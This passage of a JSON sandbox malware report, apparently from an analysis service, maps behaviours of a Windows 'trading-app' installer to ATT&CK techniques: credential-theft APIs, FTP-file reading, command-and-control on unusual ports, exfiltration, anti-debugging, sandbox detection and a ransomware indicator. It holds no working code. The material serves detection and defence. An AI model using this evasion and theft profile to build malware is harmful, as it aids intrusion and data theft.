Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"suspicious","value":"Reads FTP client related files"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops temp files"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to transfer data using curl"},{"type":"informative","value":"Drops executable files inside temp directory"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"malicious","value":"Found unknown user-agent(s)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"malicious","value":"Makes HTTPS connections using an insecure TLS/SSL version"},{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains reference to OpenSSL library string"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"},{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"},{"type":"informative","value":"Able to retrieve/open a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Contains possible references to Golang crypto modules"},{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"informative","value":"Imports crypto-related APIs"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Impact","technique":"Internal Defacement","attack_id":"T1491.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1491/001","identifiers":[{"type":"suspicious","value":"Detected indicator that file is ransomware"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"References hosts file in file/memory"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"trading-app.exe\" called \"FindResourceW\" with parameter \"380\" - (UID: 00000000-00006124)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"trading-app-Windows-1.0.0.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\ (UID: 00000000-00004416)\n \"trading-app-Windows-1.0.0.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\resources\\ (UID: 00000000-00004416)\n \"trading-app-Windows-1.0.0.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\ (UID: 00000000-00004416)\n \"trading-app-Windows-1.0.0.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\nse95AF.tmp\\7z-out\\locales\\ (UID: 00000000-00004416)\n \"trading-app-Windows-1.0.0.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\nse95AF.tmp\\7z-out\\resources\\ (UID: 00000000-00004416)\n \"trading-app-Windows-1.0.0.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\nse95AF.tmp\\7z-out\\ (UID: 00000000-00004416)\n \"trading-app-Windows-1.0.0.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\nse95AF.tmp\\ (UID: 00000000-00004416)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to create a remote thread (API string)","description":"Found reference to API \"CreateRemoteThreadEx\" (Indicator: \"CreateRemoteThread\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to inject code into another process (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"OuOid\" (Indicator: \"Oid\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"trading-app.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at 6FE80000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Renames files","description":"$2b","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Spawns Windows crash diagnostic and reporting process","description":"Process \"WerFault.exe\" [UID: 00000000-00006428]\n Process \"WerFault.exe\" [UID: 00000000-00003524]\n Process \"WerFault.exe\" [UID: 00000000-00007028]\n Process \"WerFault.exe\" [UID: 00000000-00004392]\n Process \"WerFault.exe\" [UID: 00000000-00002384]\n Process \"WerFault.exe\" [UID: 00000000-00006736]\n Process \"WerFault.exe\" [UID: 00000000-00007292]\n Process \"WerFault.exe\" [UID: 00000000-00005604]\n Process \"WerFault.exe\" [UID: 00000000-00006576]\n Process \"WerFault.exe\" [UID: 00000000-00007144]\n Process \"WerFault.exe\" [UID: 00000000-00002972]\n Process \"WerFault.exe\" [UID: 00000000-00002084]\n Process \"WerFault.exe\" [UID: 00000000-00007776]\n Process \"WerFault.exe\" [UID: 00000000-00007924]\n Process \"WerFault.exe\" [UID: 00000000-00004236]\n Process \"WerFault.exe\" [UID: 00000000-00007548]\n Process \"WerFault.exe\" [UID: 00000000-00006828]\n Process \"WerFault.exe\" [UID: 00000000-00007308]\n Process \"WerFault.exe\" [UID: 00000000-00008000]\n Process \"WerFault.exe\" [UID: 00000000-00003892]","origin":"Monitored Target","mitre_attack_id":"T1564","relevance":1,"id":"target-585","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \".ndata\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptProtectData\" (Indicator: \"CryptProtectData\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"CryptProtectData\" (Indicator: \"CryptProtectData\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains possible references to Golang crypto modules","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-234","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"file/memory contains long string with (Indicator: \"private key\"; Source: \"00000000-00004288.00000000.110171.6D440000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"public key\"; Source: \"00000000-00004288.00000000.110171.6D440000.00000002.mdmp\")\n Found string \"=0 {Checking public key and integrity block\" (Indicator: \"public key\"; Source: \"00000000-00004288.00000000.110171.6D440000.00000002.mdmp\")\n Found string \"=1 {Checking public key and integrity block\" (Indicator: \"public key\"; Source: \"00000000-00004288.00000000.110171.6D440000.00000002.mdmp\")\n Found string \"other {Checking public key and integrity block\" (Indicator: \"public key\"; Source: \"00000000-00004288.00000000.110171.6D440000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2d","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Cryptographic Related","name":"Imports crypto-related APIs","description":"Observed import api \"CryptProtectData\" which can \"perform encryption on the data\" [Source: StdUtils.dll]\n Observed import api \"CryptUnprotectData\" which can \"perform decryption and does an integrity check of the data\" [Source: StdUtils.dll]","origin":"Static Parser","mitre_attack_id":"T1486","relevance":1,"id":"static-82","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: YARA signature match - AES encryption\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2e","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - AES encryption\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Spawned process connects to a network\n Matched sigs: Contacts server\n Matched sigs: Contacts domains","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006124-00000C2B-709096127\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"EnumSystemLocalesW\" (Indicator: \"EnumSystemLocales\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"trading-app-Windows-1.0.0.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00004416)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"trading-app-Windows-1.0.0.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00004416)\n \"trading-app.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00006124)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"trading-app-Windows-1.0.0.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00004416)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"trading-app.exe\" called \"GetForegroundWindow\" (UID: 00000000-00006124)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"trading-app-Windows-1.0.0.exe\" called \"IsWow64Process\" with parameter \"4416\" - (UID: 00000000-00004416)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"trading-app.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00006124)\n \"trading-app.exe\" called \"EnumWindows\" with parameter \"21328032080\" - (UID: 00000000-00006124)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get handle of currently active window","description":"\"trading-app.exe\" called \"GetActiveWindow\" (UID: 00000000-00006124)","origin":"API Call","mitre_attack_id":"T1010","relevance":5,"id":"api-150","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"trading-app-Windows-1.0.0.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004416)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$31","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an APIs used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: trading-app-Windows-1.0.0.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: vulkan-1.dll]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: nsis7z.dll]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"kernel32::IsWow64Process2(ps,*i0s,*i)\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00004416.00000000.107553.031D0000.00000004.mdmp, 00000000-00004416.00000001.109475.031D0000.00000004.mdmp, 00000000-00004416.00000002.111392.031D0000.00000004.mdmp\")\n Found reference to API \"kernel32::IsWow64Process(p-1,*i0s)\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00004416.00000000.107553.031D0000.00000004.mdmp, 00000000-00004416.00000001.109475.031D0000.00000004.mdmp, 00000000-00004416.00000002.111392.031D0000.00000004.mdmp\")\n Found reference to API \"kernel32::IsWow64Process2(ps,*i,*i0s)\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00004416.00000000.107553.031D0000.00000004.mdmp, 00000000-00004416.00000001.109475.031D0000.00000004.mdmp, 00000000-00004416.00000002.111392.031D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GlobalMemoryStatus\" (Indicator: \"GlobalMemoryStatus\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GlobalMemoryStatus\" (Indicator: \"GlobalMemoryStatus\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"trading-app-Windows-1.0.0.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"trading-app-Windows-1.0.0.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"trading-app.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"trading-app.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry 